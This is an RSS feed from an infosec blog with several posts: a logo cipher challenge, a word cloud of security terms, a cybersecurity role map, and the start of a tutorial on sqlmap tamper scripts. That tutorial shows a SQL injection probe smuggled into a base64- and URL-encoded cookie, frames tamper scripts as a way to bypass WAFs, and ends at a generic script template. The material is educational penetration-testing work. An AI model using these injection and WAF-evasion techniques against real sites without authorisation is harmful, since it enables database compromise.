&lt;h2 id=&quot;sharks&quot;&gt;Sharks&lt;/h2&gt;

&lt;p&gt;Threat actors, hackers, red teamers, etc…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/sharks.png&quot; width=&quot;175px&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;qr&quot;&gt;QR&lt;/h2&gt;

&lt;p&gt;Scan it (&lt;em&gt;or click&lt;/em&gt;) and find out! Probably not malware…&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://shellsharks.com/qr&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/qr.PNG&quot; width=&quot;175px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;cipher-challenge&quot;&gt;Cipher Challenge&lt;/h2&gt;

&lt;p&gt;The binary stream encircling the logo is in fact ciphertext. Older variants of the logo contained clues for decryption. The current logo &lt;em&gt;doesn’t really&lt;/em&gt;. I should probably add some clues back… To get ya started, I have provided the ciphertext below. &lt;em&gt;Good luck&lt;/em&gt;!&lt;/p&gt;

&lt;p class=&quot;primarycolor&quot; style=&quot;font-family: &apos;Courier New&apos;; font-weight:bold;&quot;&gt;01010111 00110110 01000101 01101111&lt;br /&gt;01010101 01101001 01110111 01001110&lt;br /&gt;01100111 01001110 00110111 01000001&lt;br /&gt;01001001 01010000 01010100 01111010&lt;br /&gt;01000100 01011010 01100001 01101100&lt;br /&gt;01110110 01110111 00111101 00111101&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;history&quot;&gt;History&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Behold&lt;/strong&gt;! The evolution of the logo… I don’t think either of the first two were ever actually on the public site though.&lt;/p&gt;

&lt;div class=&quot;wrapper&quot;&gt;
  &lt;div class=&quot;box box1&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/logo-gen1.png&quot; /&gt;&lt;/div&gt;
  &lt;div class=&quot;box box2&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/logo-gen2.png&quot; /&gt;&lt;/div&gt;
  &lt;div class=&quot;box box3&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/logo-gen3.png&quot; /&gt;&lt;/div&gt;
&lt;/div&gt;
</description>
        <pubDate>Mon, 25 Jul 2022 07:00:00 -0400</pubDate>
        <link>https://shellsharks.com/shellsharks-logo</link>
        <guid isPermaLink="true">https://shellsharks.com/shellsharks-logo</guid>
        
        <category>shellsharks</category>
        
        <category>infosec</category>
        
        <category>life</category>
        
        
        <category>infosec</category>
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Cybercomplexity</title>
        <shark:summary><p>Cybersecurity is a great field, but it’s becoming increasingly <em>complex</em> and the intellectual barrier-to-entry is rapidly growing. Though the terms shown below span multiple sub-disciplines within infosec, it is not uncommon for senior or even mid-level security engineers to be expected to have a relatively decent understanding of a large swath of the concepts depicted below. If nothing else, this cloud (i.e. <em>cybersoup</em>) should serve as a reminder that it is infeasible to truly be a master in everything cybersecurity.</p>
</shark:summary>
        <description>&lt;p&gt;Cybersecurity is a great field, but it’s becoming increasingly &lt;em&gt;complex&lt;/em&gt; and the intellectual barrier-to-entry is rapidly growing. Though the terms shown below span multiple sub-disciplines within infosec, it is not uncommon for senior or even mid-level security engineers to be expected to have a relatively decent understanding of a large swath of the concepts depicted below. If nothing else, this cloud (i.e. &lt;em&gt;cybersoup&lt;/em&gt;) should serve as a reminder that it is infeasible to truly be a master in everything cybersecurity.&lt;/p&gt;

&lt;!-- https://www.wordclouds.com --&gt;
&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/infosecwordcloud.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I really started thinking about how much there is to know in this field and it really is mind-boggling…&lt;/em&gt;&lt;/p&gt;

&lt;!--
Risk
Cyber Threat Intelligence
CTI
Network Topologies
Data Flow Diagrams
DFD
Disaster Recovery
Business Continuity
BCP
Policies
Standards
Procedures
Guidelines
Baselines
Network Security Monitoring
NSM
Protocols
DNS
HTTP
HTTPS
SMB
RDP
FTP
SSH
Reconnaissance
Command and Control
C2
Exfiltration
Subnetting
OSI Model
Physical
Data Link
Network
Transport
Session
Presentation
Application
TCP
IP
UDP
ICMP
NetFlow
Firewalls
Logging
Packet Capture
IDS
IPS
Network Devices
Router
Switch
Configuration Monitoring
Baseline Monitoring
System Hardening
Vulnerability Scanning
File Integrity Monitoring
Authentication Logs
Sysmon
Antivirus
Application Control
Application Whitelisting
EDR
HIDS
HIPS
Proxies
Web Application Firewall
WAF
Service Logs
AuthN/AuthZ
DLP
Malware
Virus
Cloud
AWS
Azure
GCP
PCAP
DNS
User and Entity Behavior Analysis
UBA
UEBA
Security Information and Event Management
SIEM
Splunk
QRadar
Azure Sentinel
ArcSight
LogRhythm
GrayLog
Exabeam
RSA NetWitness
Trustwave
Alien Vault OSSIM
InsightIDR
LogPoint
Event
Alert
Incident
Signature
Anomaly
Incident Management System
IMS
Threat Intelligence Platform
TIP
Threatconnect
AlienVault OTX
Threat Quotient
Anomali ThreatStream
Security Orchestration Automation and Response
SOAR
Phantom
Demisto
DFLabs
NetWitness Orchestrator
Komand
Siemplify
Swimlane
Playbooks
Indicators of Compromise
IoCs
Tactics, Techniques and Procedures
TTPs
Vocabulary for Event Recording and Incident Sharing
VERIS
US-Cert Incident Reporing System Categories
Threat
Intent
Capability
Opportunity
MISP
OpenCTI
ELK Stack
VirusTotal
Attribution
Advanced Persistent Threat
APT
Hacktivist
Ransomware
Cryptomining
Phishing
DDoS
Botnet
Attack Trees
Threat Modeling
STRIDE
DREAD
Microsoft Threat Modeling Methodology
PASTA
OCTAVE
TRIKE
VAST
ACLs
802.1X
VPN
IPSec
IoT
Air-Gap
VLAN
Next-Gen Firewall
Zero-Trust
Segmentation
Service Logs
Wireshark
TShark
Stub Resolver
Forwarding Server
Caching/Recursive Server
Authoritative Name Server
A
AAAA
NS
CNAME
SOA
NULL
PTR
MX
TXT
SRV
IPv4
IPv6
Whois
OSINT
Domain Shadowing
Credential Stuffing
DNS Tunneling
Punycode
DNS over TLS
DoT
DNS over HTTPS
DoH
DNSSEC
URL
URI
Same Origin Policy
SOP
HTML
Javascript
JS
PHP
SSL
TLS
Sandboxing
REST
XML
API
Client-Side
Server-Side
HTTP/1.1
HTTP/2
HTTP/3
QUIC
HTTP Verb
GET
POST
CONNECT
HEAD
OPTIONS
PUT
DELETE
TRACE
HTTP Header
Accept
Referer
User-Agent
Accept-Encoding
Host
Connection
HTTP Response Code
WebSockets
Cross Origin Resource Sharing
CORS
SAML
OAUTH
OpenID
Social Engineering
URL Reputation
Cookies
Base64
Exploit Kits
Certificates
TLS 1.3
Perfect Forward Secrecy
PFS
SMTP
Sender Policy Framework
SPF
Domain Keys Identified Mail
DKIM
Domain-based Message Authentication, Reporting and Compliance
DMARC
SMB
CIFS
SMB1
SMB2
SMB2.1
SMB3
SMB3.1
DHCP
FTP
SFTP
FTPS
BASH
PowerShell
Cyber Kill Chain
Persistence
Privilege Escalation
Lateral Movement
Data Exfiltration
MITRE ATT&amp;CK
Mimikatz
Encryption
AntiVirus
AV
FIM
Privileged Access Workstations
PAWS
Virtual Desktop Infrastructure
VDI
Endpoint Detection and Response
EDR
Continuous Vulnerability Scanning
Patching
EMET
Exploit Guard
Virtualization
Living off the Land
Code Injection
Process Injection
SAAS
PAAS
IAAS
Hunt-Teaming
Threat Hunting
Blue Team
Red Team
Purple Team
Defense In Depth
DiD
Windows Logging
Linux Logging
Sysdig Inspect
Falco
OSQuery
Auditbeat
Syslog
Scheduled Tasks
Windows Defender
Kerberos
Unicode
Encoding
Payload Delivery
Hashing
Digital Signatures
Symmetric Cryptography
A-Symmetric Cryptography
FireEye Attack Life Cycle
Ping Sweep
Port Scan
Credential Stuffing
Encapsulation
OODA Loop
NIST CSF
Incident Response Cycle
Pyramid of Pain
F3EAD
Diamond Models
Structured Analysis
Graph Theory
Analysis of Competing Hypotheses
Ports
Operational Security
OPSEC
Traffic Light Protocol
TLP
Permissible Action Protocol
TOR
Onion Routing
Dwell Time
Risk Mitigation
MFA
Autonomous System Numbers
ASN
Active Directory
AD
Regular Expressions
RegEx
YARA
Response Policy Zones
Sinkhole
Fast Flux DNS
Cloud Workload Protection Platform
CWPP
Cloud Access Security Broker
CASB
EDR
NDR
XDR
MDR
MXDR
Fuzzing
0-Day
ASCII
PICERL
--&gt;

&lt;h1 id=&quot;cyber-glossaries&quot;&gt;Cyber Glossaries&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://censys.com/glossary/&quot;&gt;The Censys Cybersecurity Glossary&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://csrc.nist.gov/glossary&quot;&gt;NIST CRSC Glossary&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 21 Jun 2022 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/cybercomplexity</link>
        <guid isPermaLink="true">https://shellsharks.com/cybercomplexity</guid>
        
        <category>infosec</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>10-Step Getting-Into-Infosec Playbook</title>
        <shark:summary><p>A practical guide for getting started in infosec.</p>
</shark:summary>
        <description>
</description>
        <pubDate>Wed, 29 Dec 2021 01:00:01 -0500</pubDate>
        <link>https://shellsharks.com/getting-into-information-security-playbook</link>
        <guid isPermaLink="true">https://shellsharks.com/getting-into-information-security-playbook</guid>
        
        <category>infosec</category>
        
        <category>nosearch</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>SANS SEC450 Review</title>
        <shark:summary><p>A mini-review of the SANS course SEC450: Blue Team Fundamentals: Security Operations and Analysis.</p>
</shark:summary>
        <description>
</description>
        <pubDate>Tue, 28 Sep 2021 00:00:01 -0400</pubDate>
        <link>https://shellsharks.com/sans-sec450-review</link>
        <guid isPermaLink="true">https://shellsharks.com/sans-sec450-review</guid>
        
        <category>infosec</category>
        
        <category>training</category>
        
        <category>sans</category>
        
        <category>vm</category>
        
        <category>blue</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>Cybersecurity Role Map</title>
        <shark:summary><p>The mind-map below is my attempt at inventorying and classifying the plethora of roles that exist within the field of cybersecurity. Beyond this map, I’ve <a href="#notes-on-the-map">provided some additional context</a>, gotcha’s and other notes related to the map itself.</p>
</shark:summary>
        <description>&lt;p&gt;The mind-map below is my attempt at inventorying and classifying the plethora of roles that exist within the field of cybersecurity. Beyond this map, I’ve &lt;a href=&quot;#notes-on-the-map&quot;&gt;provided some additional context&lt;/a&gt;, gotcha’s and other notes related to the map itself.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/infosecroles.png&quot; alt=&quot;infosec roles&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;notes-on-the-map&quot;&gt;Notes on the Map&lt;/h1&gt;

&lt;p&gt;Alright, so you’ve seen the map and I expect many will have questions or things about it they wish to challenge. Let me try to address some areas of improvement and provide additional context around my thinking…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;It’s very possible something on the map is not where it should be, could be reclassified or something is missing. If you think so, &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;I’d love to hear about it&lt;/a&gt; so I can make edits to the map!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Though these roles can exist independently, many of us in the industry know that you are likely to “&lt;a href=&quot;https://www.merriam-webster.com/dictionary/wear%20many%20hats&quot;&gt;wear many hats&lt;/a&gt;”, especially if you work for smaller organizations. As such, many people who see this map may identify as two or even more things here that may even exist in multiple different categories.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I like to consider “&lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt;” both an &lt;em&gt;offensive security&lt;/em&gt; role as well as a blue- &lt;em&gt;ish&lt;/em&gt; security operations role. Maybe I’m biased having &lt;a href=&quot;https://shellsharks.com/vm-bootcamp#why-vulnerability-management&quot;&gt;gotten my start in VM&lt;/a&gt;, but I think most in the field of offensive security would at least agree that identifying vulnerabilities (recon / enumeration) is a big part of the offensive methodology. Thus, I consider VM the starting point for offensive ops. I also definitely consider it in many ways an “operations” role.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;There are a bunch of things (on the right-side of the map) that I had trouble classifying into their own group. Maybe there is a good category to shove them in but for now they float.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;By “Cybersecurity Training”, I merely mean the act of teaching other security professionals infosec topics. Compared to “User Awareness Training” which is about teaching non-security personnel how to maintain security awareness.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“Security Engineering” is a role that could easily be applied to just about anything. For the purpose of this map, I’m considering “engineering” to be related to the build, integration and deployment of security tooling - with an emphasis on &lt;strong&gt;build&lt;/strong&gt;. Again, it’s easy to apply the “engineering” title to other disciplines but I think this is a decent way of viewing things.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“Product Security” (or &lt;em&gt;Product&lt;/em&gt; / &lt;em&gt;Platform&lt;/em&gt; security) is where I’ve decided to lump in individual, specialized security disciplines (e.g. things like - Windows, Linux, ICS, Juniper, etc…) - Essentially, those who are specialized in securing specific products or platforms. I’ve left it as &lt;em&gt;orange&lt;/em&gt; to designate it too as an “engineering” discipline.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;outro&quot;&gt;Outro&lt;/h1&gt;

&lt;p&gt;Alright, I hope this helps give you a better idea of the different roles within infosec! In addition to this, I recommend you check out &lt;a href=&quot;https://danielmiessler.com/study/red-blue-purple-teams/&quot;&gt;Daniel Miessler’s piece&lt;/a&gt; on “Rainbow Teams” or even look at how &lt;a href=&quot;https://www.isc2.org&quot;&gt;ISC2&lt;/a&gt; defines the various security &lt;a href=&quot;https://www.isc2.org/Certifications/CISSP/Webcast-Series&quot;&gt;domains&lt;/a&gt;. I also think this &lt;a href=&quot;https://niccs.cisa.gov/workforce-development/career-pathway-roadmap&quot;&gt;Career Pathway Roadmap&lt;/a&gt; from &lt;a href=&quot;https://niccs.cisa.gov&quot;&gt;NICCS&lt;/a&gt; is a great way to visualize your path into any of the various roles described in this post.&lt;/p&gt;

&lt;p&gt;Finally, for any suggestions, corrections, comments or anything else, I always appreciate &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;feedback&lt;/a&gt;!&lt;/p&gt;
</description>
        <pubDate>Mon, 16 Aug 2021 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/cybersecurity-role-map</link>
        <guid isPermaLink="true">https://shellsharks.com/cybersecurity-role-map</guid>
        
        <category>infosec</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>SANS SEC460 &amp; GIAC GEVA Review</title>
        <shark:summary><p>A mini-review of the SANS course SEC5460: Enterprise and Cloud | Threat and Vulnerability Assessment as well as it’s accompanying certification, the GIAC GEVA.</p>
</shark:summary>
        <description>
</description>
        <pubDate>Wed, 11 Aug 2021 00:00:01 -0400</pubDate>
        <link>https://shellsharks.com/sans-sec460-review</link>
        <guid isPermaLink="true">https://shellsharks.com/sans-sec460-review</guid>
        
        <category>infosec</category>
        
        <category>training</category>
        
        <category>sans</category>
        
        <category>vm</category>
        
        <category>blue</category>
        
        <category>tenable</category>
        
        <category>nessus</category>
        
        <category>dev</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>Sqlmagic, the Tamper Spell</title>
        <shark:summary><p>Since <a href="https://owasp.org/www-pdf-archive/OWASP_Top_10_-_2013.pdf">(at least) 2010</a>, <a href="https://owasp.org/www-community/attacks/SQL_Injection">SQL Injection</a> (and other types of <a href="https://owasp.org/www-project-top-ten/2017/A1_2017-Injection">Injection</a>) has been number one (<em>A1</em>) on <a href="https://owasp.org/">OWASP’s</a> famed <a href="https://owasp.org/www-project-top-ten/">OWASP Top Ten</a> list. The OWASP Top 10 (for those who aren’t familiar) represents the top 10 “most critical security risks to web applications” and is developed (by OWASP) using a broad consensus from within the (global) appsec community. “Risk” in this case, is <a href="https://www.synopsys.com/glossary/what-is-owasp-top-10.html#2">measured not only on severity and impact but also on the relative frequency</a> of the vulnerability class. In other words, <strong>SQLi</strong> is <em>consistently</em> ranked at the top, year after year, not only because it represents significant risk to any given application (and potentially its underlying infrastructure) but also because it is <em>very</em> frequently found.</p>
</shark:summary>
        <description>&lt;p&gt;Since &lt;a href=&quot;https://owasp.org/www-pdf-archive/OWASP_Top_10_-_2013.pdf&quot;&gt;(at least) 2010&lt;/a&gt;, &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL Injection&lt;/a&gt; (and other types of &lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A1_2017-Injection&quot;&gt;Injection&lt;/a&gt;) has been number one (&lt;em&gt;A1&lt;/em&gt;) on &lt;a href=&quot;https://owasp.org&quot;&gt;OWASP’s&lt;/a&gt; famed &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top Ten&lt;/a&gt; list. The OWASP Top 10 (for those who aren’t familiar) represents the top 10 “most critical security risks to web applications” and is developed (by OWASP) using a broad consensus from within the (global) appsec community. “Risk” in this case, is &lt;a href=&quot;https://www.synopsys.com/glossary/what-is-owasp-top-10.html#2&quot;&gt;measured not only on severity and impact but also on the relative frequency&lt;/a&gt; of the vulnerability class. In other words, &lt;strong&gt;SQLi&lt;/strong&gt; is &lt;em&gt;consistently&lt;/em&gt; ranked at the top, year after year, not only because it represents significant risk to any given application (and potentially its underlying infrastructure) but also because it is &lt;em&gt;very&lt;/em&gt; frequently found.&lt;/p&gt;

&lt;p&gt;There are many variants of &lt;a href=&quot;https://portswigger.net/web-security/sql-injection&quot;&gt;SQLi&lt;/a&gt;, yet finding and subsequently exploiting this flaw is not always trivial. However, application security professionals have a magic weapon that does exactly this - &lt;strong&gt;&lt;a href=&quot;https://sqlmap.org&quot;&gt;SQLMAP&lt;/a&gt;&lt;/strong&gt;! (Find it &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap&quot;&gt;here&lt;/a&gt; or in a &lt;a href=&quot;https://www.kali.org&quot;&gt;Kali&lt;/a&gt; image near you!)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        ___
       __H__
 ___ ___[(]_____ ___ ___
|_ -| . [,]     | .&apos;| . |
|___|_  [&apos;]_|_|_|__,|  _|
      |_|V...       |_|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Before reading any further, know that this is not a guide to using &lt;a href=&quot;https://sqlmap.org&quot;&gt;sqlmap&lt;/a&gt;. For that, I recommend you check out the &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap&quot;&gt;Github project for sqlmap&lt;/a&gt; and read through it’s &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap/wiki/Usage&quot;&gt;usage documentation&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h1 id=&quot;tamper-scripts&quot;&gt;Tamper Scripts&lt;/h1&gt;

&lt;p&gt;Let’s discuss the &lt;em&gt;awesomeness&lt;/em&gt; that is &lt;em&gt;&lt;a href=&quot;https://sqlmap.org&quot;&gt;sqlmap&lt;/a&gt;&lt;/em&gt; &lt;strong&gt;Tamper scripts&lt;/strong&gt; (invoked using &lt;em&gt;sqlmap&lt;/em&gt; via the command-line parameter “&lt;em&gt;--tamper=TAMPER&lt;/em&gt;”). To explain Tamper scripts, I’ll start with &lt;em&gt;sqlmap&lt;/em&gt;’s own &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap/wiki/Usage&quot;&gt;documentation&lt;/a&gt;…&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;sqlmap itself does no obfuscation of the payload sent, except for strings between single quotes replaced by their CHAR()-alike representation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;This option can be very useful and powerful in situations where there is a weak input validation mechanism between you and the back-end database management system. This mechanism usually is a self-developed input validation routine called by the application source code, an expensive enterprise-grade IPS appliance or a web application firewall (WAF). All buzzwords to define the same concept, implemented in a different way and costing lots of money, usually.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;To take advantage of this option, provide sqlmap with a comma-separated list of tamper scripts and this will process the payload and return it transformed. You can define your own tamper scripts, use sqlmap ones from the tamper/ folder or edit them as long as you concatenate them comma-separated as value of the option –tamper (e.g. –tamper=”between,randomcase”).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Cool right&lt;/em&gt;?! Who doesn’t want to &lt;a href=&quot;https://www.websec.ca/publication/Blog/Bypassing_WAFs_with_SQLMap&quot;&gt;bypass WAFs&lt;/a&gt;? In addition to fuzzing / otherwise-testing poor &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html&quot;&gt;input validation&lt;/a&gt; methods, Tamper scripts are also helpful when targeting particularly challenging injection vectors, an example of which I will describe in detail below…&lt;/p&gt;

&lt;h1 id=&quot;a-difficult-injection-vector&quot;&gt;A Difficult Injection Vector&lt;/h1&gt;

&lt;p&gt;I recently encountered an interesting &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQLi&lt;/a&gt; vulnerability that was &lt;em&gt;somewhat&lt;/em&gt; difficult to inject into, specifically with &lt;em&gt;&lt;a href=&quot;https://sqlmap.org&quot;&gt;sqlmap&lt;/a&gt;&lt;/em&gt;, which is my go-to SQLi exploitation (&lt;em&gt;and often discovery&lt;/em&gt;) utility. To set the scene, the web app in question had a simple &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET&quot;&gt;GET&lt;/a&gt; parameter “&lt;em&gt;id=1&lt;/em&gt;”. Naturally I first tried to inject directly into the GET parameter but came up empty both with manual exploitation as well as using &lt;em&gt;sqlmap&lt;/em&gt;…&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[WARNING] GET parameter ‘id’ does not seem to be injectable&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Bummer&lt;/em&gt;… Taking a closer look at the application logic, I noticed a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies&quot;&gt;cookie&lt;/a&gt; was being set as a result of submitting the GET request. The cookie was set as shown below…&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;Set-Cookie: userchl2_info=%7B%22last_book%22%3A%22MQ%3D%3D%22%2C%22userchl2%22%3A%22%22%7D
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Subsequent requests anywhere within that &lt;a href=&quot;https://www.paladion.net/blogs/cookie-attributes-and-their-importance#domain-and-path&quot;&gt;same subdomain/path&lt;/a&gt; would include that cookie value. When (&lt;a href=&quot;https://www.w3schools.com/tags/ref_urlencode.ASP&quot;&gt;URL&lt;/a&gt;-)&lt;a href=&quot;https://portswigger.net/burp/documentation/desktop/tools/decoder&quot;&gt;decoding&lt;/a&gt; the cookie value (&lt;em&gt;%7B%22last_book%22%3A%22MQ%3D%3D%22%2C%22userchl2%22%3A%22%22%7D&lt;/em&gt;), I get the unencoded value, &lt;em&gt;{“last_book”:”MQ==”,”userchl2”:”“}&lt;/em&gt;. I can see that the value for the &lt;a href=&quot;https://www.w3resource.com/JSON/structures.php&quot;&gt;dictionary&lt;/a&gt; pair with key “&lt;em&gt;last_book&lt;/em&gt;” appears to be &lt;a href=&quot;https://en.wikipedia.org/wiki/Base64&quot;&gt;base64&lt;/a&gt; encoded (the equal signs “=”, which serve as base64 &lt;a href=&quot;https://stackoverflow.com/questions/4080988/why-does-base64-encoding-require-padding-if-the-input-length-is-not-divisible-by&quot;&gt;padding&lt;/a&gt; give this away). Further (base64)-decoding that value I see that &lt;em&gt;MQ==&lt;/em&gt; is equal to the value “1”, which is of course the original GET parameter value of &lt;em&gt;id&lt;/em&gt; which was also 1!&lt;/p&gt;

&lt;p&gt;OK, so now that I know how the GET parameter is stored within the cookie, I then inject a &lt;em&gt;properly encoded&lt;/em&gt; (remember we must base64 encode the &lt;em&gt;last_book&lt;/em&gt; value as well as URL encode the entire cookie value) &lt;a href=&quot;https://www.netsparker.com/blog/web-security/fragmented-sql-injection-attacks/&quot;&gt;apostrophe&lt;/a&gt; (&lt;strong&gt;‘&lt;/strong&gt;) into that &lt;a href=&quot;https://www.json.org/json-en.html&quot;&gt;JSON&lt;/a&gt; key/value pair to see if I can’t trigger a SQL &lt;a href=&quot;https://infosecwriteups.com/exploiting-error-based-sql-injections-bypassing-restrictions-ed099623cd94&quot;&gt;error&lt;/a&gt; (&lt;em&gt;in typical SQLi testing fashion&lt;/em&gt;). After base64 encoding the apostrophe, the result is “&lt;em&gt;Jw==&lt;/em&gt;”. After URL encoding the entire payload cookie value I have &lt;em&gt;%7B%22last_book%22%3A%22Jw%3D%3D%22%2C%22userchl2%22%3A%22%22%7D&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Submitting this new payload, I find the following SQL error in the response.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in [redacted].php&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Eureka&lt;/em&gt;! This error demonstrates that I may indeed have a &lt;a href=&quot;https://portswigger.net/web-security/sql-injection&quot;&gt;SQLi&lt;/a&gt; flaw. To continue to &lt;a href=&quot;http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet&quot;&gt;exploit this manually&lt;/a&gt; given the multiple encoding steps as well as the need to inject it into a particular location of the cookie value would be exhausting. Why not instead have &lt;em&gt;&lt;a href=&quot;https://sqlmap.org&quot;&gt;sqlmap&lt;/a&gt;&lt;/em&gt; do the heavy lifting? By default, &lt;em&gt;sqlmap&lt;/em&gt; does not handle the transforms and pinpoint accuracy required to pull this off. However, with the added functionality of Tamper scripting, we can extend &lt;em&gt;sqlmap&lt;/em&gt;’s capabilities and do exactly that.&lt;/p&gt;

&lt;h1 id=&quot;becoming-a-tampermage&quot;&gt;Becoming a Tampermage&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://sqlmap.org&quot;&gt;Sqlmap&lt;/a&gt;&lt;/em&gt; has a variety of &lt;em&gt;out-of-the-box&lt;/em&gt; Tamper scripts, all of which can be found in &lt;em&gt;/share/sqlmap/tamper/&lt;/em&gt;. The one’s that come standard as well as any additional home-brewed scripts will all have the general format shown below…&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Needed imports
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lib.core.enums&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PRIORITY&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Define which is the order of application of tamper scripts against
# the payload
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__priority__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PRIORITY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NORMAL&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;tamper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
    Description of your tamper script
    &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;retVal&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# your code to tamper the original payload
&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# return the tampered payload
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;retVal&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

